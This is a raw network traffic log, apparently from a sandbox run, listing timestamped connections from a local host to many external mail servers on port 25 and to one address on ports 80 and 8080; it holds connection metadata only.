Jan 7, 2022 15:57:13.039453983 CET	49866	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:57:13.039463043 CET	49858	8080	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:13.174806118 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:13.175239086 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:13.245188951 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:13.345072985 CET	49860	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:13.345449924 CET	49859	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:13.366164923 CET	49868	25	192.168.2.4	195.29.173.131
Jan 7, 2022 15:57:13.366965055 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:13.367007017 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:13.367247105 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:13.399712086 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:13.399895906 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:13.558943033 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:13.559071064 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:13.559263945 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:13.673326969 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:13.709752083 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:13.709868908 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:13.749922991 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:13.750837088 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:13.750967979 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:13.751060009 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:13.910854101 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:13.910994053 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:13.911021948 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:13.911448956 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:13.942923069 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:13.943186998 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:13.943624973 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.025876045 CET	49880	25	192.168.2.4	176.223.123.126
Jan 7, 2022 15:57:14.065052032 CET	25	49880	176.223.123.126	192.168.2.4
Jan 7, 2022 15:57:14.066184044 CET	49880	25	192.168.2.4	176.223.123.126
Jan 7, 2022 15:57:14.135412931 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.135500908 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.135859013 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.135963917 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.257113934 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:14.257349968 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:14.261024952 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:14.266179085 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:14.327367067 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.327547073 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.327660084 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.327671051 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.327821970 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.327904940 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.328757048 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.328886986 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.414216042 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:14.414253950 CET	25	49875	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:14.414341927 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:14.414372921 CET	49875	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:14.519478083 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.519501925 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.519572020 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.519629955 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.519670963 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.519759893 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.520466089 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.520550013 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.520644903 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.524015903 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.524192095 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.524240017 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.564400911 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:14.564491987 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:14.711329937 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.711359024 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.711366892 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.711378098 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.711390018 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.711400986 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.711441994 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.711509943 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.711543083 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.711544037 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.711559057 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.711608887 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.711652040 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.712169886 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.712218046 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.712255001 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.712280989 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.715898037 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.715922117 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.715929031 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.715939999 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.716027021 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.716031075 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.716063023 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.716097116 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.716115952 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.716129065 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.716140032 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.716164112 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.716198921 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.760035038 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.760117054 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.763818979 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:14.764410019 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:14.903237104 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903284073 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903311014 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903337002 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903359890 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903382063 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903392076 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903419018 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903420925 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903445959 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903471947 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903481960 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903496027 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903525114 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903537035 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903549910 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903559923 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903564930 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903583050 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903589964 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903605938 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903615952 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903641939 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903645992 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903666019 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903681040 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903691053 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903697968 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903716087 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903732061 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903742075 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903765917 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903768063 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903773069 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903790951 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903806925 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903814077 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903815985 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903841972 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903841972 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903862953 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903865099 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903889894 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903909922 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903914928 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903937101 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903940916 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903954983 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903959990 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903969049 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.903992891 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.903995037 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.904021025 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.904036045 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.904047012 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.904047966 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.904071093 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.904084921 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.904118061 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.904124975 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.907658100 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907682896 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907707930 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907736063 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907740116 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.907759905 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907780886 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.907799006 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.907815933 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.907828093 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907852888 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907877922 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907902002 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907912970 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.907924891 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.907938004 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907963037 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.907963991 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.907988071 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908004045 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908014059 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908016920 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908041000 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908041000 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908073902 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908077002 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908099890 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908117056 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908123970 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908127069 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908149004 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908150911 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908175945 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908200026 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908202887 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908207893 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908225060 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908226013 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908251047 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908272982 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908274889 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908292055 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908299923 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908346891 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.908390999 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.908397913 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:14.952011108 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.952029943 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:14.952106953 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.095777035 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.095814943 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.095830917 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.095846891 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.095861912 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.095885992 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.095936060 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.095937014 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.095954895 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096008062 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096029043 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096045971 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096096992 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096143961 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096160889 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096177101 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096203089 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096204996 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096220016 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096256971 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096262932 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096303940 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096312046 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096312046 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096357107 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096395016 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096410990 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096455097 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096502066 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096509933 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096560955 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096575975 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096590996 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096605062 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096606016 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096631050 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096725941 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096741915 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096755028 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096796989 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096827984 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096889019 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096904993 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096946001 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.096950054 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096971035 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.096987963 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097016096 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097058058 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097074986 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097101927 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097122908 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097166061 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097181082 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097218990 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097222090 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097266912 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097274065 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097312927 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097477913 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097558022 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097569942 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097615004 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097630978 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097645044 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097661018 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097665071 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097690105 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097717047 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097727060 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097776890 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097793102 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097832918 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097848892 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097875118 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097917080 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097930908 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.097934008 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.097968102 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.098000050 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098068953 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098086119 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.098113060 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098126888 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.098184109 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098201036 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098216057 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098280907 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098299026 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098340988 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098385096 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098503113 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098545074 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098637104 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098654032 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098669052 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098710060 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.098726034 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.100439072 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.100469112 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.100483894 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.101130962 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.101257086 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.102152109 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.103146076 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.112165928 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:15.145136118 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.178791046 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:15.204965115 CET	49881	25	192.168.2.4	104.47.17.74
Jan 7, 2022 15:57:15.246001005 CET	25	49881	104.47.17.74	192.168.2.4
Jan 7, 2022 15:57:15.246159077 CET	49881	25	192.168.2.4	104.47.17.74
Jan 7, 2022 15:57:15.273226976 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:15.273374081 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:15.288141012 CET	25	49881	104.47.17.74	192.168.2.4
Jan 7, 2022 15:57:15.288285971 CET	49881	25	192.168.2.4	104.47.17.74
Jan 7, 2022 15:57:15.288598061 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.289670944 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.290647984 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.291696072 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.292932034 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.292954922 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.292973995 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.292989969 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.293005943 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.293049097 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.293066025 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.293081999 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.293595076 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.293613911 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.329401970 CET	25	49881	104.47.17.74	192.168.2.4
